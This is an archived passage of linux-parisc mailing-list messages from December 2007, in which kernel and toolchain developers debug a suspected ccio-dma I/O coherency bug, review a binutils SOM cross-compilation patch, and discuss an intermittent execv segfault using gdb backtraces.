	id S1751427AbXLZRcG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 12:32:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751496AbXLZRcG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 12:32:06 -0500
Original-Received: from weequay.is.scarlet.be ([193.74.71.24]:52026 "EHLO
	weequay.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751427AbXLZRcF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 12:32:05 -0500
Original-Received: from (ip-213-49-81-9.dsl.scarlet.be [213.49.81.9])
        by weequay.is.scarlet.be  with ESMTP id lBQHVvF18114;
        Wed, 26 Dec 2007 18:31:57 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071224085159.GC15161@colo.lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:46
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/46>

Grant Grundler wrote:
> On Sun, Dec 23, 2007 at 10:50:34PM +0000, rubisher wrote:
> ...
>> btw do you notice how much way are there (in so few lines) to use a 
>> unsigned 32bits integer: u32, __u32 but also uint32_t, u_int32_t, ...
>>
>> Is there some advise om the best pratice?
> 
> IIRC, Preferred is "u32". But use whatever is consistent with the
> file you are editing.
> 
>> Ah also related to ccio-dma patch test on my c110, it seems that removing 
>> DELAYED_RESOURCE_CNT code help a bit this system with few ram (64Mb only) 
>> to survive a bit longer (enough to debootstrap and download 800Mb to be 
>> installed) but that didn't make the drill: there are still fs corruption 
>> from time to time and some reset on the lasi disk ;-(.
>> This test just seems to confirm an issue of i/o coherency somewhere but 
>> where those rules could be broken???
> 
> ISTR Joel Soete reporting problems for CCIO machines as well.
> Offhand, I don't know what's wrong and we depend on Ryan Bradetich
> and other volunteers to track that down. 
> 
> cheers,
> grant
> 
>> Merry Xmas,
>> 	r.
>> -
Hello Grant,

I suspecting a possible issue with this hack in your iommu_fill_pdir():

you initialized dma_sg with the adress of startsg (/* pointer to current DMA */)
then before the loop you dma_sg--;

(where and what dms_sg point to, I guess we have any idea?)

Now in the while (nents-- > 0), suppose the test "if (sg_dma_address(startsg) & PIDE_FLAG) {" failed,

so later in the loop the "sg_dma_len(dma_sg) += startsg->length" (which is actually "dma_sg->iova_length += startsg->length" 
) imo could corrupt something?

That said I tried to re-use the first implementation of jejb (what was in ccio-dma.c before this patch 
<http://cvs.parisc-linux.org/linux-2.6/drivers/parisc/ccio-dma.c?r1=1.12&r2=1.13> but that doesn't seems to fix the ccio-dma 
issue at all: I can still read those kind of message at the console while doing such copy
[snip]
scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
scsi1: Bus Reset detected, executing command 10953600, slot 109708a4, dsp 001301e8[01e8] 

  failing command because of reset, slot 10970778, cmnd 12644a00 

  failing command because of reset, slot 109708a4, cmnd 10953600 

scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN 

scsi1: Bus Reset detected, executing command 12644c40, slot 10970520, dsp 001301e8[01e8] 

  failing command because of reset, slot 10970520, cmnd 12644c40 

scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN 

scsi1: Bus Reset detected, executing command 109532a0, slot 1097064c, dsp 001301e8[01e8] 

  failing command because of reset, slot 1097064c, cmnd 109532a0 

end_request: I/O error, dev sdc, sector 197250
[snip]
while doing such copy:
root@hpalin:/boot# find . | cpio -mpduv /mnt/OldPA/boot/.
/mnt/OldPA/boot/././vmlinux-cp
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p2
/mnt/OldPA/boot/././vmlinux-cp13
/mnt/OldPA/boot/././vmlinux-2.6.23-c110
/mnt/OldPA/boot/././vmlinux-cp6
/mnt/OldPA/boot/././config-2.6.23-pa-b180
/mnt/OldPA/boot/././vmlinux-cp9
/mnt/OldPA/boot/././lost+found
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p4
/mnt/OldPA/boot/././vmlinux-2.6.22-3-parisc
/mnt/OldPA/boot/././config-2.6.23-c110-p15
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p5
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p15
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p10
/mnt/OldPA/boot/././System.map-2.6.22-3-parisc
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p13
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p6
/mnt/OldPA/boot/././config-2.6.22-3-parisc
/mnt/OldPA/boot/././vmlinux-cp14
/mnt/OldPA/boot/././initrd.img-2.6.22-3-parisc
/mnt/OldPA/boot/././vmlinux-2.4.17-32
/mnt/OldPA/boot/././vmlinux-cp11
/mnt/OldPA/boot/././vmlinux-cp10
/mnt/OldPA/boot/././vmlinux-cp5
/mnt/OldPA/boot/././vmlinux-cp15
/mnt/OldPA/boot/././System.map-2.4.17-32
/mnt/OldPA/boot/././config-2.6.23-c110-p2
/mnt/OldPA/boot/././vmlinux-2.6.23-pa-b180
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p14
/mnt/OldPA/boot/././vmlinux-cp4
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p
/mnt/OldPA/boot/././config-2.4.17-32
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p9
/mnt/OldPA/boot/././vmlinux
/mnt/OldPA/boot/././vmlinux-2.6.23-c110-p11
/mnt/OldPA/boot/././vmlinux-t
/mnt/OldPA/boot/././vmlinux-co
138420 blocks

(the scsi1 is the lasi scsi hba as sources and the target being the disks on ncr53c720 hba)

or experimenting fs issues on this target disks?


That said ok I will wait either U2/Uturn ers public doc or all volonteers feedback.

Cheers,
	r.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: patch for HPUX SOM on non-HPUX systems
Date: Wed, 26 Dec 2007 13:38:53 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200712261838.lBQIcrrD007447@hiauly1.hia.nrc.ca>
References: <200712261809.56673.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198694360 19361 80.91.229.12 (26 Dec 2007 18:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Dec 2007 18:39:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 26 19:39:32 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7bA6-0005La-J3
	for glpp-linux-parisc@gmane.org; Wed, 26 Dec 2007 19:39:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750883AbXLZSjE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 13:39:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751111AbXLZSjE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 13:39:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4429 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750883AbXLZSjD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 13:39:03 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBQIcsZZ007448;
	Wed, 26 Dec 2007 13:38:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBQIcrrD007447;
	Wed, 26 Dec 2007 13:38:53 -0500 (EST)
In-Reply-To: <200712261809.56673.deller@gmx.de> from "Helge Deller" at Dec 26, 2007 06:09:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:47
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/47>

> This work is part of a cross compiler effort here at Quest, So, I 
> anticipate some more stress testing soon.
> 
> Jeff Law wrote:
> 
> > The SOM code has never been designed to be cross-compilation safe,
> > particularly in terms of endianness and datatype size issues. 
> http://sources.redhat.com/ml/binutils/2002-01/msg00168.html

This is a significant work.  Before it can be considered for inclusion
in binutils, a copyright assignment needs to be on file for the author
with the FSF.

When this is done, submit the change to the binutils list.  CC or ping
me, and I will review the change.

As a note, binutils is now licensed under GPL version 3 or later.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: segv doing execv
Date: Sun, 23 Dec 2007 12:34:58 -0500 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <200712270218.lBR2IwhR020041@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198721959 21918 80.91.229.12 (27 Dec 2007 02:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Dec 2007 02:19:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 27 03:19:32 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7iLI-00082W-Dg
	for glpp-linux-parisc@gmane.org; Thu, 27 Dec 2007 03:19:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751875AbXL0CTH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 21:19:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751878AbXL0CTG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 21:19:06 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4443 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751875AbXL0CTF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 21:19:05 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBR2Ix4m020042
	for <linux-parisc@vger.kernel.org>; Wed, 26 Dec 2007 21:19:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBR2IwhR020041
	for linux-parisc@vger.kernel.org; Wed, 26 Dec 2007 21:18:58 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:48
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/48>

Carlos,

I had a gcc testsuite failure today on my c3k (2.6.22.14) that
suggests there is a random issue with execv.  The test didn't
fail when I reran the test.  xgcc was trying to execv collect2.

This is the backtrace from the core file:

(gdb) bt
#0  0x403cb2b8 in ?? () from /lib/ld.so.1
#1  0x403c2670 in ?? () from /lib/ld.so.1
#2  0x403bd368 in ?? () from /lib/ld.so.1
#3  0x403bd698 in ?? () from /lib/ld.so.1
#4  0x403c0ee4 in ?? () from /lib/ld.so.1
#5  0x403c7cc8 in ?? () from /lib/ld.so.1
#6  0x00027a3c in pex_unix_exec_child (obj=0x42f84, flags=275048,
    executable=0x4afe8 "", argv=0x1, env=0xfb255c48, in=1083198820, out=0,
    errdes=-81437888, toclose=580, errmsg=0xc, err=0x42784)
    at ../../gcc/libiberty/pex-unix.c:433
#7  0x000272f8 in pex_run_in_environment (obj=0x4ecd0, flags=1,
    executable=0x4ec80 "/home/dave/gnu/gcc-4.3/objdir/gcc/collect2",
    argv=0x4bd40, env=0x42f84, orig_outname=0x0,
    errname=0x2b000 ' ' <repeats 19 times>, "Time the execution of each subprocess\n", err=0x6) at ../../gcc/libiberty/pex-common.c:342
#8  0x000274d0 in pex_run (obj=0x10b07, flags=1, executable=0xfb255f08 "",
    argv=0x10a74, orig_outname=0x42f84 "", errname=0xfb255a00 "@=$h",
    err=0x4bd40) at ../../gcc/libiberty/pex-common.c:372
#9  0x00014be8 in execute () at ../../gcc/gcc/gcc.c:2982
#10 0x0001dc08 in main (argc=1077757630, argv=0x403d46d6)
    at ../../gcc/gcc/gcc.c:6765
(gdb) disass 0x403cb2a8 0x403cb2c8
Dump of assembler code from 0x403cb2a8 to 0x403cb2c8:
0x403cb2a8:     copy r26,ret0
0x403cb2ac:     b,l 0x403cb200,r0
0x403cb2b0:     copy ret0,r26
0x403cb2b4:     ldb 0(r26),ret0
0x403cb2b8:     ldb 0(r25),r20
0x403cb2bc:     ldo 1(r26),r26
0x403cb2c0:     cmpib,= 0,ret0,0x403cb2d8
0x403cb2c4:     ldo 1(r25),r25
End of assembler dump.
(gdb) p $r25
$8 = 1

The segv was at 0x403cb2b8.  Think the function starts at 0x403cb0dc.
This is debian libc6 2.7-4.

I looked at code and call in frame 6 as it seemed a little suspicious
that gdb printed 1 for argv.  However, the assembly code and the argv
data all seemed ok.

Any thoughts on how r25 might have becom corrupted?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: segv doing execv
Date: Thu, 27 Dec 2007 17:25:48 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <119aab440712271425s8df1ed5i37749ad6c541f8ae@mail.gmail.com>
References: <200712270218.lBR2IwhR020041@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198794368 13647 80.91.229.12 (27 Dec 2007 22:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Dec 2007 22:26:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 27 23:26:21 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J81B5-0005ha-IM
	for glpp-linux-parisc@gmane.org; Thu, 27 Dec 2007 23:26:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752888AbXL0WZu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Dec 2007 17:25:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753152AbXL0WZu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 27 Dec 2007 17:25:50 -0500
Original-Received: from rv-out-0910.google.com ([209.85.198.188]:61425 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752888AbXL0WZt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Dec 2007 17:25:49 -0500
Original-Received: by rv-out-0910.google.com with SMTP id k20so2995902rvb.1
        for <linux-parisc@vger.kernel.org>; Thu, 27 Dec 2007 14:25:48 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=xVkqsk6ETuSDCKkBfFseEeKXKpaXnV+BHaZvZglzKrQ=;
        b=ChUoPTI+q791dcEQBIRtnHOKfSg5/zsVq0v9Kdx+HhFJcyUEUmJp/270XZ/aKP5z19XqeQHHM53wrwGRof4Des4NcNrFxqLtUdECq2xPfPGVTuWk/QuBfOwdXDttIR3BRx4XOXL+46syZOAWQHNpfopu0yK60rKcivqr1biuiqs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=kMYDQikPiDu11kSmGfos2ucp5UaYxR31lPtLPrgwBRagezZI/G1ffhUITCAz0eMxzWVB/eVWprTZYRjhunFHPNT8dyVcY1x/NlhJ6m6sBka4v7u/GeX58qPDeISe7Cjq0Z7ZghdlRgbq1fgcm1tcXWDG4rq1eYPvRLfbAcDksJM=
Original-Received: by 10.141.185.3 with SMTP id m3mr4359276rvp.167.1198794348811;
        Thu, 27 Dec 2007 14:25:48 -0800 (PST)
Original-Received: by 10.140.207.9 with HTTP; Thu, 27 Dec 2007 14:25:48 -0800 (PST)
In-Reply-To: <200712270218.lBR2IwhR020041@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 85c905313af37130
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:49
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/49>

On Dec 23, 2007 12:34 PM, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> I had a gcc testsuite failure today on my c3k (2.6.22.14) that
> suggests there is a random issue with execv.  The test didn't
> fail when I reran the test.  xgcc was trying to execv collect2.

All of these types of failures in general relate to kernel stability,
memory management, and process management. We see this
sort of thing at CodeSourcery on a daily basis when using shoddy
kernels.

You might ask, "What does CodeSourcery do?", we mark the
kernel "bad", and if a test fails with a SIGSEGV we usually
rerun the test (we have magical DejaGNU scripts) once or twice
to see if it succeeds. In the case of boards that boot quickly
we actually reset the board and rerun the test (all automatic).

> This is the backtrace from the core file:
>
> (gdb) bt
> #0  0x403cb2b8 in ?? () from /lib/ld.so.1
> #1  0x403c2670 in ?? () from /lib/ld.so.1
> #2  0x403bd368 in ?? () from /lib/ld.so.1
> #3  0x403bd698 in ?? () from /lib/ld.so.1
> #4  0x403c0ee4 in ?? () from /lib/ld.so.1
> #5  0x403c7cc8 in ?? () from /lib/ld.so.1
> #6  0x00027a3c in pex_unix_exec_child (obj=0x42f84, flags=275048,
>     executable=0x4afe8 "", argv=0x1, env=0xfb255c48, in=1083198820, out=0,
>     errdes=-81437888, toclose=580, errmsg=0xc, err=0x42784)
>     at ../../gcc/libiberty/pex-unix.c:433
> #7  0x000272f8 in pex_run_in_environment (obj=0x4ecd0, flags=1,
>     executable=0x4ec80 "/home/dave/gnu/gcc-4.3/objdir/gcc/collect2",
>     argv=0x4bd40, env=0x42f84, orig_outname=0x0,
>     errname=0x2b000 ' ' <repeats 19 times>, "Time the execution of each subprocess\n", err=0x6) at ../../gcc/libiberty/pex-common.c:342
> #8  0x000274d0 in pex_run (obj=0x10b07, flags=1, executable=0xfb255f08 "",
>     argv=0x10a74, orig_outname=0x42f84 "", errname=0xfb255a00 "@=$h",
>     err=0x4bd40) at ../../gcc/libiberty/pex-common.c:372
> #9  0x00014be8 in execute () at ../../gcc/gcc/gcc.c:2982
> #10 0x0001dc08 in main (argc=1077757630, argv=0x403d46d6)
>     at ../../gcc/gcc/gcc.c:6765
> (gdb) disass 0x403cb2a8 0x403cb2c8
> Dump of assembler code from 0x403cb2a8 to 0x403cb2c8:
> 0x403cb2a8:     copy r26,ret0
> 0x403cb2ac:     b,l 0x403cb200,r0
> 0x403cb2b0:     copy ret0,r26
> 0x403cb2b4:     ldb 0(r26),ret0
> 0x403cb2b8:     ldb 0(r25),r20
> 0x403cb2bc:     ldo 1(r26),r26
> 0x403cb2c0:     cmpib,= 0,ret0,0x403cb2d8
> 0x403cb2c4:     ldo 1(r25),r25
> End of assembler dump.
> (gdb) p $r25
> $8 = 1
>
> The segv was at 0x403cb2b8.  Think the function starts at 0x403cb0dc.
> This is debian libc6 2.7-4.
>
> I looked at code and call in frame 6 as it seemed a little suspicious
> that gdb printed 1 for argv.  However, the assembly code and the argv
> data all seemed ok.
>
> Any thoughts on how r25 might have becom corrupted?

Not a clue. How did you capture the failure in the debugger?

Cheers,
Carlos.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: segv doing execv
Date: Thu, 27 Dec 2007 18:28:17 -0500 (EST)
Lines: 83
Approved: news@gmane.org
Message-ID: <200712272328.lBRNSI6s028957@hiauly1.hia.nrc.ca>
References: <119aab440712271425s8df1ed5i37749ad6c541f8ae@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198798125 23321 80.91.229.12 (27 Dec 2007 23:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Dec 2007 23:28:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 00:28:58 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J829g-0005rz-OY
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 00:28:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752182AbXL0X21 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Dec 2007 18:28:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753494AbXL0X21
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 27 Dec 2007 18:28:27 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4485 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752182AbXL0X20 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Dec 2007 18:28:26 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBRNSIZk028959;
	Thu, 27 Dec 2007 18:28:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBRNSI6s028957;
	Thu, 27 Dec 2007 18:28:18 -0500 (EST)
In-Reply-To: <119aab440712271425s8df1ed5i37749ad6c541f8ae@mail.gmail.com> from "Carlos O'Donell" at Dec 27, 2007 05:25:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:50
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/50>

> On Dec 23, 2007 12:34 PM, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > I had a gcc testsuite failure today on my c3k (2.6.22.14) that
> > suggests there is a random issue with execv.  The test didn't
> > fail when I reran the test.  xgcc was trying to execv collect2.
> 
> All of these types of failures in general relate to kernel stability,
> memory management, and process management. We see this
> sort of thing at CodeSourcery on a daily basis when using shoddy
> kernels.

;(

> You might ask, "What does CodeSourcery do?", we mark the
> kernel "bad", and if a test fails with a SIGSEGV we usually
> rerun the test (we have magical DejaGNU scripts) once or twice
> to see if it succeeds. In the case of boards that boot quickly
> we actually reset the board and rerun the test (all automatic).

That's cool but how do does CodeSourcery actually fix the "kernel"?

> > This is the backtrace from the core file:
> >
> > (gdb) bt
> > #0  0x403cb2b8 in ?? () from /lib/ld.so.1
> > #1  0x403c2670 in ?? () from /lib/ld.so.1
> > #2  0x403bd368 in ?? () from /lib/ld.so.1
> > #3  0x403bd698 in ?? () from /lib/ld.so.1
> > #4  0x403c0ee4 in ?? () from /lib/ld.so.1
> > #5  0x403c7cc8 in ?? () from /lib/ld.so.1
> > #6  0x00027a3c in pex_unix_exec_child (obj=0x42f84, flags=275048,
> >     executable=0x4afe8 "", argv=0x1, env=0xfb255c48, in=1083198820, out=0,
> >     errdes=-81437888, toclose=580, errmsg=0xc, err=0x42784)
> >     at ../../gcc/libiberty/pex-unix.c:433
> > #7  0x000272f8 in pex_run_in_environment (obj=0x4ecd0, flags=1,
> >     executable=0x4ec80 "/home/dave/gnu/gcc-4.3/objdir/gcc/collect2",
> >     argv=0x4bd40, env=0x42f84, orig_outname=0x0,
> >     errname=0x2b000 ' ' <repeats 19 times>, "Time the execution of each subprocess\n", err=0x6) at ../../gcc/libiberty/pex-common.c:342
> > #8  0x000274d0 in pex_run (obj=0x10b07, flags=1, executable=0xfb255f08 "",
> >     argv=0x10a74, orig_outname=0x42f84 "", errname=0xfb255a00 "@=$h",
> >     err=0x4bd40) at ../../gcc/libiberty/pex-common.c:372
> > #9  0x00014be8 in execute () at ../../gcc/gcc/gcc.c:2982
> > #10 0x0001dc08 in main (argc=1077757630, argv=0x403d46d6)
> >     at ../../gcc/gcc/gcc.c:6765
> > (gdb) disass 0x403cb2a8 0x403cb2c8
> > Dump of assembler code from 0x403cb2a8 to 0x403cb2c8:
> > 0x403cb2a8:     copy r26,ret0
> > 0x403cb2ac:     b,l 0x403cb200,r0
> > 0x403cb2b0:     copy ret0,r26
> > 0x403cb2b4:     ldb 0(r26),ret0
> > 0x403cb2b8:     ldb 0(r25),r20
> > 0x403cb2bc:     ldo 1(r26),r26
> > 0x403cb2c0:     cmpib,= 0,ret0,0x403cb2d8
> > 0x403cb2c4:     ldo 1(r25),r25
> > End of assembler dump.
> > (gdb) p $r25
> > $8 = 1
> >
> > The segv was at 0x403cb2b8.  Think the function starts at 0x403cb0dc.
> > This is debian libc6 2.7-4.
> >
> > I looked at code and call in frame 6 as it seemed a little suspicious
> > that gdb printed 1 for argv.  However, the assembly code and the argv
> > data all seemed ok.
> >
> > Any thoughts on how r25 might have becom corrupted?
> 
> Not a clue. How did you capture the failure in the debugger?

With a core dump!  Actually, I was hoping you might recognize the assembler
code and understand what failed ;)

I'm currently trying to use the debug libraries.  It seems gdb won't
load the debug libraries when a failure occurs with non-debug libs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
